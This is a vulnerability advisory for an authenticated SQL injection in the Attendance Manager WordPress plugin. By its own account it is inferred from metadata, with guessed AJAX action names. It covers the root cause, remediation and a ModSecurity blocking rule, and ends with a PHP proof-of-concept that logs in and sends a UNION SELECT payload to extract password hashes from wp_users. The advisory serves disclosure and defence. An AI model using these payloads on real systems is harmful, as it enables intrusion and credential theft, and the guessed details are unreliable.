Atomic Edge analysis of CVE-2026-3781 (metadata-based): This vulnerability affects the Attendance Manager WordPress plugin in all versions up to and including 0.6.2. It is an authenticated SQL injection flaw with a CVSS score of 5.4 (medium severity). An attacker with Subscriber-level access can inject malicious SQL queries through the ‘attmgr_off’ parameter.
Root Cause: Based on the CWE-89 classification and the description, the plugin likely fails to properly escape and prepare user-supplied input in a SQL query. The ‘attmgr_off’ parameter is probably passed directly into a $wpdb->query() or $wpdb->get_results() call without using prepare() or esc_sql(). This conclusion is inferred from the CWE and description; no source code was available for confirmation.
Exploitation: An authenticated attacker sends a POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php with the action parameter set to something like ‘attmgr_process’ or ‘attmgr_action’ (inferred from the plugin slug) and the ‘attmgr_off’ parameter containing a SQL injection payload. For example: attmgr_off=1 UNION SELECT user_pass,user_email FROM wp_users WHERE id=1. The attacker can extract database contents such as hashed passwords, emails, and other sensitive data.
Remediation: The plugin must use prepared statements with parameterized queries (e.g., $wpdb->prepare()) for all database queries that incorporate user input. The ‘attmgr_off’ parameter should be validated as an integer or sanitized using intval() or absint() before use in a query. Since no patch is available, site administrators should disable the plugin immediately.
Impact: Successful exploitation allows an authenticated attacker to extract arbitrary data from the WordPress database, including user credentials (password hashes), private posts, and configuration data. This can lead to account takeover (if passwords are cracked) or further privilege escalation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3781 (metadata-based)
# Blocks SQL injection attempts via the attmgr_off parameter in Attendance Manager AJAX handler
# Assumption: AJAX action is attmgr_process or attmgr_action; adjust as needed
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263781,phase:2,deny,status:403,chain,msg:'CVE-2026-3781 SQLi via Attendance Manager attmgr_off',severity:'CRITICAL',tag:'CVE-2026-3781'"
SecRule ARGS_POST:action "@rx ^(attmgr_process|attmgr_action)$"
"chain"
SecRule ARGS_POST:attmgr_off "@rx (bSELECTb|bUNIONb|bINSERTb|bUPDATEb|bDELETEb|bDROPb|bORb|'|--)"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3781 - Attendance Manager <= 0.6.2 - Authenticated (Subscriber+) SQL Injection via 'attmgr_off' Parameter
// Configuration: set these variables for your test environment
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$username = 'subscriber'; // WordPress user with Subscriber role or higher
$password = 'password';
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
// Step 2: Exploit SQL injection via AJAX handler
// Assumption: Plugin registers wp_ajax_attmgr_process or similar action
// The vulnerable parameter is attmgr_off
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = "1 UNION SELECT user_login,user_pass FROM wp_users WHERE id=1-- -";
$post_data = array(
'action' => 'attmgr_process', // adjust based on plugin's actual AJAX action
'attmgr_off' => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if ($response === false) {
echo 'Error: cURL request failed. Check target URL and credentials.' . PHP_EOL;
} else {
echo 'SQL Injection attempted. Response from server:' . PHP_EOL;
echo $response . PHP_EOL;
echo 'If successful, the response may contain user credentials from the database.' . PHP_EOL;
}
?>
